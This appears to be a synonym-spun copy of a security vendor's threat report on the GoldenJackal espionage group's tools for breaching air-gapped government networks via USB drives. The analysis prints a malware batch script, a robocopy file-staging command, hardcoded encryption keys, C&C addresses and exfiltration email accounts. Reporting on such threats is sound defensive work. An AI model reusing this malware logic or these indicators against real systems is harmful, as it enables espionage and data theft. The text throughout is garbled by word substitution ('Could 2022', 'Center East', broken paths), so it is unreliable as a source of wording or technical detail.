Thoughts the (air) hole: GoldenJackal gooses authorities guardrails

ESET researchers found a sequence of assaults on a governmental group in Europe utilizing instruments able to concentrating on air-gapped techniques. The marketing campaign, which we attribute to GoldenJackal, a cyberespionage APT group that targets authorities and diplomatic entities, came about from Could 2022 to March 2024. By analyzing the toolset deployed by the group, we have been in a position to establish an assault GoldenJackal carried out earlier, in 2019, in opposition to a South Asian embassy in Belarus that, but once more, focused the embassy’s air-gapped techniques with customized instruments.

This blogpost introduces beforehand undocumented instruments that we attribute to GoldenJackal based mostly on victimology, code, and practical similarities between the toolsets.

Key factors of the blogpost:

• GoldenJackal used a customized toolset to focus on air-gapped techniques at a South Asian embassy in Belarus since at the very least August 2019. On this blogpost, we describe these instruments publicly for the primary time.
• This blogpost additionally options the primary public description of a extremely modular toolset GoldenJackal deployed in Europe on numerous events between Could 2022 and March 2024 in opposition to a European Union authorities group.
• These toolsets present GoldenJackal a large set of capabilities for compromising and persisting in focused networks. Victimized techniques are abused to gather attention-grabbing data, course of the knowledge, exfiltrate information, and distribute information, configurations and instructions to different techniques.
• The last word purpose of GoldenJackal appears to be stealing confidential data, particularly from high-profile machines which may not be related to the web.

GoldenJackal profile

GoldenJackal is an APT group lively since at the very least 2019. It targets authorities and diplomatic entities in Europe, the Center East, and South Asia. The group is little recognized and has solely been publicly described in 2023 by Kaspersky. The group’s recognized toolset consists of a number of implants written in C#: JackalControl, JackalSteal, JackalWorm, JackalPerInfo, and JackalScreenWatcher – all of them used for espionage.

Overview

In Could 2022, we found a toolset that we couldn’t attribute to any APT group. However as soon as the attackers used a software just like a type of publicly documented by Kaspersky, we have been in a position to dig deeper and to discover a connection between the publicly documented toolset of GoldenJackal and this new one.

Extrapolating from that, we managed to establish an earlier assault the place the publicly documented toolset was deployed, in addition to an older toolset that additionally has capabilities to focus on air-gapped techniques. This blogpost shines a light-weight on the technical points of the publicly undocumented toolsets, and shares some insights about GoldenJackal’s ways, methods, and procedures.

Victimology

GoldenJackal has been concentrating on governmental entities in Europe, the Center East, and South Asia. We detected GoldenJackal instruments at a South Asian embassy in Belarus in August and September 2019, and once more in July 2021.

Kaspersky reported a restricted variety of assaults in opposition to authorities and diplomatic entities within the Center East and South Asia, beginning in 2020.

Extra not too long ago, in keeping with ESET telemetry, a European Union governmental group was repeatedly focused from Could 2022 till March 2024.

Attribution

All of the campaigns that we describe on this blogpost deployed, in some unspecified time in the future, at the very least one of many instruments attributed to the GoldenJackal APT group by Kaspersky. As was the case within the Kaspersky report, we are able to’t attribute GoldenJackal’s actions to any particular nation-state. There may be, nevertheless, one clue which may level in the direction of the origin of the assaults: within the GoldenHowl malware, the C&C protocol is known as transport_http, which is an expression usually utilized by Turla (see our ComRat v4 report) and MoustachedBouncer. This will point out that the builders of GoldenHowl are Russian audio system.

Breaching air-gapped techniques

As we acknowledged in a earlier white paper titled Leaping the air hole: 15 years of nation-state effort, compromising an air-gapped community is way more resource-intensive than breaching an internet-connected system, which signifies that frameworks designed to assault air-gapped networks have thus far been solely developed by APT teams. The aim of such assaults is at all times espionage, maybe with a aspect of sabotage.

With the extent of sophistication required, it’s fairly uncommon that in 5 years, GoldenJackal managed to construct and deploy not one, however two separate toolsets designed to compromise air-gapped techniques. This speaks to the resourcefulness of the group. The assaults in opposition to a South Asian embassy in Belarus made use of customized instruments that we’ve got solely seen in that particular occasion. The marketing campaign used three major elements: GoldenDealer to ship executables to the air-gapped system by way of USB monitoring; GoldenHowl, a modular backdoor with numerous functionalities; and GoldenRobo, a file collector and exfiltrator.

Within the newest sequence of assaults in opposition to a authorities group in Europe, GoldenJackal moved on from the unique toolset to a brand new, extremely modular one. This modular strategy utilized not solely to the design of the malicious instruments (as was the case with GoldenHowl), but in addition to their roles: they have been used, amongst different issues, to gather and course of attention-grabbing data, to distribute information, configurations, and instructions to different techniques, and to exfiltrate information.

Technical evaluation

Preliminary entry

Up to now, we haven’t been in a position to hint again to the preliminary compromise vector within the campaigns seen in our telemetry. Be aware that Kaspersky reported in a blogpost that GoldenJackal used trojanized software program and malicious paperwork for this objective.

The mysterious toolset from 2019

The earliest assault that we’ve got attributed to GoldenJackal, which focused a South Asian embassy in Belarus, occurred in August 2019. The toolset used on this assault is, to one of the best of our data, publicly undocumented. We’ve solely noticed the next customized instruments as soon as, and by no means once more:

• A malicious part that may ship executables to air-gapped techniques by way of USB drives. We’ve named this part GoldenDealer.
• A backdoor, which we’ve named GoldenHowl, with numerous modules for malicious capabilities.
• A malicious file collector and exfiltrator, which we’ve named GoldenRobo.

An summary of the assault is proven in Determine 1. The preliminary assault vector is unknown, so we assume that GoldenDealer and an unknown worm part are already current on a compromised PC that has entry to the web. Every time a USB drive is inserted, the unknown part copies itself and the GoldenDealer part to the drive. Whereas we didn’t observe this unknown part, we’ve got seen elements with comparable functions – equivalent to JackalWorm – in different toolsets utilized in later assaults carried out by the group.

It’s possible that this unknown part finds the final modified listing on the USB drive, hides it, and renames itself with the identify of this listing, which is finished by JackalWorm. We additionally consider that the part makes use of a folder icon, to entice the consumer to run it when the USB drive is inserted in an air-gapped system, which once more is finished by JackalWorm.

When the drive is once more inserted into the internet-connected PC, GoldenDealer takes the details about the air-gapped PC from the USB drive and sends it to the C&C server. The server replies with a number of executables to be run on the air-gapped PC. Lastly, when the drive is once more inserted into the air-gapped PC, GoldenDealer takes the executables from the drive and runs them. Be aware that this time no consumer interplay is required, as a result of GoldenDealer is already working.

We now have noticed GoldenDealer working GoldenHowl on an internet-connected PC. Whereas we didn’t observe GoldenDealer straight executing GoldenRobo, we noticed the latter additionally working on the related PC, used to take information from the USB drive and exfiltrate them to its C&C server. There should be one more unknown part that copies information from the air-gapped PC to the USB drive, however we haven’t noticed it but.

GoldenDealer

This part displays the insertion of detachable drives on each air-gapped and related PCs, in addition to web connectivity. Based mostly on the latter, it might probably obtain executable information from a C&C server and conceal them on detachable drives, or retrieve them from these drives and execute them on techniques that don’t have any connectivity.

This system might be run with or with out arguments. When run with arguments, it takes a path to a file that it strikes to a brand new location after which runs by way of the CreateProcessW API with out making a window.

To forestall hidden information being proven in Home windows Explorer, GoldenDealer creates the ShowSuperHidden worth within the HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced registry key, and units it to zero.

In case GoldenDealer just isn’t working as a service, it creates and begins a service referred to as NetDnsActivatorSharing, then exits. If for any motive the service couldn’t be created, persistence is achieved by creating an entry in a Run registry key.

Desk 1 reveals the listing of configuration information utilized by GoldenDealer. These are situated within the listing from which the malware is working: C:WindowsTAPI within the noticed assault. Extra particulars about these information is supplied in subsequent sections.

Desk 1. Configuration information utilized by GoldenDealer

The contents of configuration information are JSON formatted, and saved XOR encrypted on disk. XOR encryption is carried out one byte at a time, with a single-byte key that’s incremented based mostly on a multiplier.

Community connectivity thread

So as to decide whether or not a PC is related to the web, GoldenDealer sends a GET request to https://1.1.1.1/ each quarter-hour. If the connection fails, or there’s no reply, the PC is assumed to be offline. 1.1.1.1 maps to Cloudflare’s DNS resolver, and the anticipated habits is to obtain a Not Discovered doc and a 404 standing code. The half just isn’t related right here, however is used for C&C communication. GoldenDealer generates this consumer identifier based mostly on:

• The present username as discovered by way of the GetUserNameW API.
• The serial variety of the primary obtainable logical drive within the system. This doesn’t essentially imply the drive the place the OS is put in.

These two strings are individually hashed with the FNV-1a perform, and the ensuing numbers are XORed collectively, acquiring a quantity that identifies the consumer.

To maintain observe of community connectivity standing, GoldenDealer makes use of a world variable that may maintain any of the next values:

• 0 – Malware began working and connectivity has not been checked.
• 1 – PC doesn’t have web connectivity.
• 2 – PC has web connectivity.

If the standing is 2, a thread is signaled to obtain executable information from the C&C server, and one other thread is signaled to repeat the executables to USB drives. A thread to get executables from drives and run them will solely be signaled when the standing is 1. Every time the standing adjustments, the configuration file b8b9-de4d-3b06-9d44 is up to date with the brand new worth. Fields on this file are:

• wmk – community connectivity standing.
• qotwnk – variety of seconds with out web. This worth is incremented each quarter-hour and reset to zero when there’s connectivity. It may be used if the malware is configured to attend a minimal variety of seconds earlier than deciding that the PC has no connectivity, however there was no wait within the samples that we noticed.
• ltwnk – unknown. This area just isn’t utilized by the malware.
• rpk – listing with hashes of executables downloaded from the C&C server.

Downloader thread

This thread checks the community connectivity standing each half-hour, and solely performs the next actions if the PC is related to the web. First, a GET request is shipped to https://83.24.9[.]124/, simply to let the C&C server know that one other request is to observe. The reply from the server just isn’t processed. If the request fails, then one other request is shipped to a secondary server, http://196.29.32[.]210/, most likely to inform about failure, because the thread doesn’t proceed to execute on this case. The URLs are hardcoded within the malware and will not be configurable within the samples that we noticed.

When communication is profitable, GoldenDealer sends a request to https://83.24.9[.]124//fc93-10f4-2a68-d548. The server replies with an array of JSON objects with the next fields:

• ek – a base64-encoded string that’s an executable file after being decoded,
• tpik – an array of user_ids used to resolve whether or not the executable will likely be run,
• hek – the FNV-1a hash of ek, and
• apk – date and time when the executable was obtained from the C&C server.

The contents of the final two fields will not be related, as a result of they’re calculated by the downloader thread, changing authentic information despatched by the C&C server. In each instances, they’re saved as decimal numbers.

GoldenDealer will run an executable despatched by the server if the corresponding user_id is within the tpik listing, and the hek hash just isn’t within the listing of hashes saved within the rpk area within the configuration. In different phrases, related PCs can obtain executables and cross them alongside to different techniques by way of USB drives, however they will additionally run acquired executables. When an executable is run, its hash is added to the rpk listing, making certain that it’ll solely be executed as soon as by that sufferer. Every executable is written within the working listing with the worth of as its filename. All JSON objects with acquired executables are saved on disk, within the file fb43-138c-2eb0-c651.

As the ultimate step, the downloader thread collects details about the compromised system and sends it to https://83.24.9[.]124//a1e7-4228-df20-1600. The configuration file 130d-1154-30ce-be1e is up to date to retailer this data as nicely. Determine 2 reveals a part of the JSON object with the knowledge despatched to the C&C server. Whereas all strings are despatched as arrays of decimal character codes, for readability we present them as strings within the picture. For instance, as an alternative of lsass.exe, the worth [108, 115, 97, 115, 115, 46, 101, 120, 101] is definitely despatched.

The members are:

• iepk – a Boolean worth that signifies whether or not the GoldenDealer course of is elevated,
• pclk – an array of working processes,
• pglk – an array of put in packages in each Program Recordsdata and Program Recordsdata (x86) directories,
• pik – the user_id,
• sik – details about the working system (together with model, construct, service pack quantity; structure; and Boolean values indicating whether or not the OS is working on a server, area controller, or workstation),
• uck – the consumer who’s working the GoldenDealer course of, and
• ulk – an array of all customers, every with a Boolean worth indicating whether or not the consumer has administrator privileges.

USB monitoring thread on related PCs

GoldenDealer displays the insertion of detachable drives by making a window titled defaultWindow with a customized occasion handler that processes inserted gadgets and ignores all different system occasions.

As soon as a USB drive has been inserted, this thread patches one byte within the grasp boot document (MBR) of that drive: it searches for the offset the place the BOOTMGR string resides, and replaces the primary O with 0. Then it checks whether or not the second O has additionally been patched to 0, and exits if it hasn’t. The USB thread that runs on air-gapped PCs does the other: it patches the second O, and checks whether or not the primary has already been patched. Which means that the USB drive must have been inserted in each a related PC and an air-gapped PC for the drive to be processed.

If the test is profitable, a hidden listing is created on the USB drive, with two information written inside:

• 37b3-ebe5-568e-0676 – this file has the identical contents as fb43-138c-2eb0-c651 (all of the executables despatched by the C&C server). It’s used to cross the executables to air-gapped techniques, for execution.
• bc41-ac6f-e55e-61a8 – a file with data from air-gapped PCs. It’s created empty by this thread, then populated by the USB thread working on air-gapped PCs. The contents of this file are appended to the native file 130d-1154-30ce-be1e (see Desk 1), to be despatched to the C&C server by the downloader thread.

USB monitoring thread on air-gapped PCs

That is complementary to the thread described within the earlier part: it takes the file 37b3-ebe5-568e-0676 with executables on the USB drive and copies its contents to the native file fb43-138c-2eb0-c651. It additionally takes the native file 130d-1154-30ce-be1e with details about the air-gapped system and provides its contents to the bc41-ac6f-e55e-61a8 file on the USB drive. The code to acquire system data and to run executables is contained on this thread.

GoldenHowl

One other software from GoldenJackal’s 2019 toolset is GoldenHowl, a backdoor written in Python that consists of varied modules for malicious functionalities. It’s distributed as a self-extracting archive that incorporates legit Python binaries and libraries, in addition to malicious scripts. Determine 3 reveals the contents of certainly one of these archives. The attackers renamed the Python executable – in model 2.7.15 – as WinAeroModule.exe. This part is meant to be run on PCs with web connectivity, given its functionalities.

The preliminary script in GoldenHowl, known as core_script within the malware’s configuration file, performs the next actions:

• decrypts and masses the malware’s configuration from a JSON file,
• creates directories utilized by the malware, and
• begins a thread for every module.

The malware’s configuration is decrypted utilizing the Fernet algorithm, with the hardcoded key _ylmUTbqcx6FxMZ5ZvNxDQZYuNh41yxhKcPJLzxgqEY=. Determine 4 reveals a part of the decrypted configuration.

Desk 2 reveals the Python modules that we’ve noticed – within the order that they seem within the config – together with an outline of their functionalities. All modules run indefinitely, apart from the persistence_schtasks module, which runs solely as soon as.

Desk 2. Malicious modules in GoldenHowl

C&C communication

The final of the noticed instruments from the 2019 toolset, GoldenRobo, is a straightforward part written in Go that executes the Robocopy utility to stage information and ship them to its C&C server. It iterates throughout all drive letters from A to Z, making an attempt to entry every drive. If profitable, a Robocopy command is constructed:

robocopy : 1516-fe89-ad12-8102 *.doc *.docx *.xls *.xlsx *.ppt *.pptx *.pdf *.rtf *.tif *.jpg *.jpeg *.crt *.key *.p12 *.ovpn *.zip *.rar “” /S /R:0 /MAXAGE:7 /XD 1516-fe89-ad12-8102 1516-fe89-ad12-8102 “Software Knowledge” “All Customers” “Paperwork and Settings” “Native Settings”

If we break down the command:

• information are copied from drive_letter,
• to 1516-fe89-ad12-8102 (for instance: C:WindowsTAPI1516-fe89-ad12-8102C),
• provided that the information have extensions .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf, .rtf, .tif, .jpg, .jpeg, .crt, .key, .p12, .ovpn, .zip, or .rar,
• together with subdirectories (/S),
• not retrying on failed copies (/R:0),
• excluding information older than seven days (/MAXAGE:7), and
• excluding specified directories (/XD).

Copied information from all drives are archived collectively in a ZIP file _1423-da77-fe86– in the identical listing the place GoldenRobo is working (with and equivalent to the present date).

The archive is shipped base64 encoded to https://83.24.9[.]124/8102/. The final a part of the URL is 8102, which is similar because the client_id area in GoldenHowl’s configuration. This URL is hardcoded in GoldenRobo, which tells us that the attackers compiled this model of GoldenRobo for this sufferer solely.

The recognized toolset: Beforehand documented by Kaspersky

A number of weeks after deploying the earlier toolset, GoldenJackal began to make use of different malicious instruments on the identical compromised computer systems. In September 2019, we noticed the execution of PowerShell scripts to obtain the JackalControl backdoor. This backdoor was used to execute different PowerShell scripts, to obtain and run legit instruments equivalent to Plink and PsExec.

In numerous assaults, between September 2019 and January 2024, we noticed the next instruments in GoldenJackal’s arsenal:

• JackalControl,
• JackalSteal, a file collector and exfiltrator, and
• JackalWorm, used to propagate different malicious elements by way of USB drives. We noticed it propagating the JackalControl backdoor.

As these elements have already been documented by Kaspersky, we won’t describe them on this blogpost. Nonetheless, one attention-grabbing level to say is that in early variations of those instruments, URLs for C&C servers have been hardcoded within the malware binaries. Sooner or later, GoldenJackal modified JackalControl and JackalSteal to obtain C&C servers as arguments.

The newest toolset: Holding a foothold within the community

In Could 2022, we noticed GoldenJackal utilizing a brand new toolset whereas concentrating on a governmental group in Europe. Most of those instruments are written in Go and supply numerous capabilities, equivalent to gathering information from USB drives, spreading payloads within the community by way of USB drives, exfiltrating information, and utilizing some PCs within the community as servers to ship numerous information to different techniques. As well as, we’ve got seen the attackers utilizing Impacket to maneuver laterally throughout the community.

Within the noticed assaults, GoldenJackal began to make use of a extremely modular strategy, utilizing numerous elements to carry out completely different duties. Some hosts have been abused to exfiltrate information, others have been used as native servers to obtain and distribute staged information or configuration information, and others have been deemed attention-grabbing for file assortment, for espionage functions. Determine 5 reveals a classification of the elements which can be described over the following sections.

Relating to community infrastructure, we didn’t observe any exterior IP addresses in any of the analyzed elements. File exfiltrators use publicly obtainable providers equivalent to Google Drive or Outlook SMTP servers.

GoldenUsbCopy

GoldenUsbCopy, which we classify as a group part, displays the insertion of USB drives, and copies attention-grabbing information to an encrypted container that’s saved on disk, to be exfiltrated by different elements. In line with strings discovered within the binary, the principle package deal for the appliance is called UsbCopy.

Newly inserted drives are detected by making a window with identify WindowsUpdateManager, to obtain system occasions and course of them with a customized handler. If the handler receives a WM_DEVICECHANGE message, with an occasion sort DBT_DEVICEARRIVAL, and the gadget sort is DBT_DEVTYP_VOLUME, this implies a brand new drive is able to be processed. Determine 6 reveals a side-by-side comparability between decompiled code in GoldenUsbCopy and GoldenDealer. Despite the fact that every was written in a distinct programming language, we are able to see that the code retrieves the letter of the drive to course of in the identical method.

GoldenUsbCopy determines which information to course of from a USB drive based mostly on a configuration that’s saved AES encrypted in CFB mode within the file studies.ini. The 32-byte key to decrypt the configuration is hardcoded within the malware. After decryption, the configuration incorporates the next fields, in JSON format:

• outputCipherFilename – full path to an encrypted archive that acts as a container for different information, equivalent to information that comprise listings of filenames from newly inserted drives, and information to be exfiltrated,
• RSAKey – a public key to encrypt AES keys which can be used to encrypt information to be exfiltrated,
• lastDate – information that have been final modified greater than lastDate days in the past will not be processed,
• registryKey – a key in HKEY_CURRENT_USER that can retailer SHA-256 hashes of information already processed for exfiltration,
• registryValue – the registry worth that shops the listing of hashes,
• maxZIPSize – the utmost measurement in bytes for outputCipherFilename (extra particulars beneath),
• maxFileSize – information bigger than maxFileSize, in bytes, will not be exfiltrated, and
• extensionsFile – an inventory of file extensions for exfiltration (we noticed .docx, .pdf, .doc, and .odt).

As soon as the configuration is decrypted, GoldenUsbCopy waits for a USB drive to be inserted. An inventory of all information on the inserted drive is written to a textual content file, which is then archived in a ZIP file, encrypted with AES, and added to outputCipherFilename. Solely the encrypted container is written to disk; intermediate steps, involving textual content information and archives, are stored in reminiscence.

The same process is finished for information on the drive that meet the factors for exfiltration: these information are archived collectively preserving their listing construction, encrypted with AES, and added to outputCipherFilename. When choosing information for exfiltration, an inventory with SHA-256 hashes is retrieved from the registry. If the hash of a file is in that listing, the file just isn’t exfiltrated. If the hash isn’t within the listing, it’s added, in order that the file received’t be exfiltrated once more.

Every time including information to exfiltrate would exceed the maxZIPSize of outputCipherFilename, the surplus information will not be added to the archive for exfiltration, however their paths are added to a textual content file that’s archived, encrypted, and added to outputCipherFilename.

Relating to encryption, every particular person archive that’s added to the encrypted container is encrypted with AES in CFB mode, with a key and an initialization vector (IV) which can be randomly generated on the spot. Each the important thing and IV should be saved, however solely the bottom line is encrypted with RSAKey. Determine 7 reveals an instance of how these fields are saved within the encrypted container.

GoldenUsbGo

This part is similar to GoldenUsbCopy and appears to be a later model of it, based mostly on after we noticed them in our telemetry and evaluating Go variations used to compile them. Nonetheless, GoldenUsbGo achieves the identical performance with a less complicated implementation:

• There is no such thing as a configuration file. All standards for file choice are hardcoded within the malware:
  • if filename incorporates a particular phrase from an inventory, course of the file no matter all different standards (the listing incorporates strings equivalent to cross, login, and key),
  • else, file measurement should be no greater than 20 MB,
  • the date the file was final modified should be not more than 14 days in the past, and
  • the file extension should be certainly one of .pdf, .doc, .docx, .sh, or .bat.
• Insertion of detachable drives just isn’t repeatedly monitored. A hardcoded listing of drive letters is checked periodically to find out if they’ve an assigned quantity of D:, E:, F:, G:, or H:.
• The listing of hashes of information that have been already processed is stored in reminiscence solely.
• There is no such thing as a measurement restrict for the encrypted container the place information are staged for exfiltration.
• Recordsdata will not be archived however as an alternative are compressed with gzip. Each file contents and filenames are compressed. Determine 8 reveals how compressed information is organized earlier than encryption.

The trail to the encrypted container is hardcoded within the malware:

C:Customers[redacted]appdatalocalSquirrelTempSquirrelCache.dat

The hardcoded username within the path, redacted above, together with the brief listing of drives and particular filenames to course of, inform us that GoldenUsbGo was compiled and tailor-made for this specific sufferer.

Compressed information are encrypted with AES in CFB mode with the hardcoded key Fn$@-fR_*+!13bN5. The construction is similar as in GoldenUsbCopy (proven in Determine 7) however with out the AES key. After compressing the information, GoldenUsbGo generates an inventory of all information on the inserted drive and provides it to the encrypted container, in the identical method as exfiltrated information. The filename for the itemizing is fashioned from the present date and time, changing : with – (for instance, 15 Jan 24 13-21 PST).

GoldenAce

This part, which we labeled as a distribution software in Determine 5, serves to propagate different malicious executables and retrieve staged information by way of USB drives. Whereas it might be used to focus on air-gapped techniques, it’s not particularly constructed for that, versus GoldenDealer. It really works along with a light-weight model of JackalWorm and another unknown part.

GoldenAce periodically checks drives within the listing G:, H:, I:, J:, Ok:, L:, M:, N:, P:, X:, Y:, and Z:, to search out one that’s mapped to a quantity. Then it checks whether or not a trash listing exists within the root of that drive. If it doesn’t exist, it’s created as hidden, and a file referred to as replace is copied to that listing, from the identical location the place GoldenAce is working. The primary listing on the drive (in alphabetical order) that isn’t hidden is ready to hidden, and a file referred to as improve is copied to the foundation of the drive and renamed as .exe.

The file improve is definitely JackalWorm, an executable that makes use of a folder icon, and whose objective is to repeat and run the replace file on one other system the place the USB drive is inserted. In contrast to the model of JackalWorm described by Kaspersky, this one may be very restricted: it doesn’t have code to watch drive insertions, and it can’t be configured to carry out numerous actions. When executed from the foundation listing of a detachable drive, it opens the hidden folder in Home windows Explorer and writes a batch file to execute the payload in replace. Contents of this file, replace.bat, are proven in Determine 9.

@echo off
copy ":trashreplace" "C:Customers%username%AppDataNativereplace.exe"
"C:Customers%username%AppDataNativereplace.exe" ":trash"
:check1
@tasklist | findstr /i /b "replace.exe" >nul
@if %errorlevel%==0 goto check1
@del /f /q /a h "C:Customers%username%AppDataNativereplace.exe"
@del /f /q "C:CustomersAppDataNativereplace.bat"

Determine 9. Contents of replace.bat

We will see that replace is run and deleted, together with the batch file, as soon as it’s performed working. Whereas we didn’t observe the contents of the replace part, it’s probably that it collects information and phases them within the trash listing on the detachable drive, for the reason that path to that listing is handed as an argument to replace.

When GoldenAce finds that the listing trash already exists on a drive, as an alternative of copying information to the drive, it copies information within the trash listing to C:ProgramDataMicrosoftWindowsDeviceMetadataCache.

HTTP server

We noticed Python’s HTTP server, packaged with PyInstaller, being executed by way of C:Windowssystem32cmd.exe /Ok C:Windowsmsahci.cmd. Sadly, we didn’t observe the contents of the msahci.cmd file, so we don’t know the arguments handed for execution, such because the port for the server to hear on.

GoldenBlacklist

As a processing part, GoldenBlacklist downloads an encrypted archive from a neighborhood server, and processes e-mail messages contained in it, to maintain solely these of curiosity. Then it generates a brand new archive for another part to exfiltrate.

The URL to retrieve the preliminary archive is hardcoded: https:///update46.zip. The downloaded file is saved as res.out, and AES decrypted with the hardcoded key k9ksbu9Q34HBKJuzHIuGTfHL9xCzMl53vguheOYA8SiNoh6Jqe62F7APtQ9pE, utilizing a legit OpenSSL executable.

The decrypted archive, update46.tar.gz, is extracted in reminiscence, and solely these information that match sure standards are written to a subdirectory tmp, within the listing the place the malware is working. Standards:

• The file doesn’t comprise any e-mail on a blocklist of e-mail addresses. That is performed to take away e-mail messages that come from senders that normally will not be attention-grabbing. Whereas we are able to’t embrace the complete listing right here, it’s value mentioning that most of the e-mail addresses are associated to newsletters and press releases. It’s essential to notice that the attackers should have been working for a while to construct an inventory like this.
• The file incorporates the string Content material-Kind: software. That is to maintain e-mail messages which have attachments, equivalent to PDF information, Microsoft Workplace information, and archives, to call a number of.

As soon as the information are chosen, GoldenBlacklist archives the tmp listing and encrypts it with openssl.exe, utilizing the identical encryption key because the one used to decrypt the preliminary archive. The ensuing file is archive.out. All intermediate information and folders are then deleted, in addition to openssl.exe, libssl-3-x64.dll, and libcrypto-3-x64.dll, all situated within the malware’s listing. This means that one other part that we didn’t observe copied these legit binaries there within the first place.

GoldenPyBlacklist

GoldenPyBlacklist is a Python implementation of GoldenBlacklist. It was packaged with PyInstaller and the unique identify of the script is duplxer_black_list_for_external_use.py. Some variations to the opposite part are:

• the preliminary archive is written as ress.out,
• the important thing for decryption is similar, apart from a distinct first character,
• the decrypted archive is extracted to the C:WindowsSystem32temp listing for processing,
• one further criterion for file choice is added to course of solely filenames that finish in .msg (these are information created with Microsoft Outlook),
• information that don’t meet the factors are deleted,
• the ultimate archive is created with the 7-Zip archiver, and
• the ultimate encrypted file is called ArcSrvcUI.ter.

GoldenMailer

Categorized as an exfiltration part, GoldenMailer exfiltrates information by sending emails with attachments to attacker-controlled accounts. It was written in Python and packaged with PyInstaller, and the unique identify of the script is send_to_hole.py. GoldenMailer connects to legit servers – both smtp-mail.outlook.com or smtp.office365.com – to ship e-mail messages, utilizing SMTP on port 587.

The configuration is learn from a file, C:ProgramDataMicrosoftWindowsCachescversions.ini, in the identical listing the place GoldenMailer is working. The configuration consists of the next 5 traces:

• e-mail deal with to authenticate to the SMTP server, and to make use of as each sender and vacation spot deal with,
• password to authenticate to the SMTP server,
• path to listing with archives to exfiltrate,
• base filename (e.g., press.pdf) used for archives to exfiltrate; these archives use the next naming conference: ., and
• variety of information to exfiltrate.

We observed that this configuration file was copied from one other PC within the native community. Provided that the configuration file signifies what number of archives can be found to be exfiltrated, we assume that these archives should even be copied over the community, separating the duties of assortment, distribution, and exfiltration. It’s probably that the configuration file is generated by the part in control of gathering information and creating archives for exfiltration, however we didn’t observe that part.

Determine 10 reveals an instance of an e-mail message despatched by GoldenMailer. The topic has a typo: it reads Press realese. The physique may be very easy and reads: Day by day Information about Israel-Hamas warfare. These strings are hardcoded within the malware’s binary. Just one attachment is shipped per e-mail; if there are numerous archives to exfiltrate, one e-mail is shipped for every.

The configuration information that we noticed contained the next e-mail addresses:

• mariaalpane@outlook[.]com
• katemarien087@outlook[.]com
• spanosmitsotakis@outlook[.]com

GoldenDrive

Versus GoldenMailer, this part exfiltrates information by importing them to Google Drive. Obligatory credentials are present in two information, that are hardcoded within the malware: credentials.json, which incorporates fields equivalent to client_id and client_secret, and token.json, with fields equivalent to access_token and refresh_token. A reference to Google Drive’s API and a few code snippets within the Go programming language might be discovered right here.

Just like GoldenMailer, this part can add just one file at a time. GoldenDrive is executed with an argument that gives the complete path to the file to add.

Conclusion

On this blogpost, we revealed two new toolsets utilized by the GoldenJackal APT group to focus on air-gapped techniques of governmental organizations, together with these in Europe. Frequent functionalities embrace using USB drives to steal confidential paperwork.

Managing to deploy two separate toolsets for breaching air-gapped networks in solely 5 years reveals that GoldenJackal is a complicated risk actor conscious of community segmentation utilized by its targets.

A complete listing of indicators of compromise (IoCs) might be present in our GitHub repository.

For any inquiries about our analysis revealed on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Analysis affords personal APT intelligence studies and information feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.

IoCs

Recordsdata

Community

E-mail Addresses

• mariaalpane@outlook[.]com
• katemarien087@outlook[.]com
• spanosmitsotakis@outlook[.]com

MITRE ATT&CK methods

This desk was constructed utilizing model 15 of the MITRE ATT&CK framework.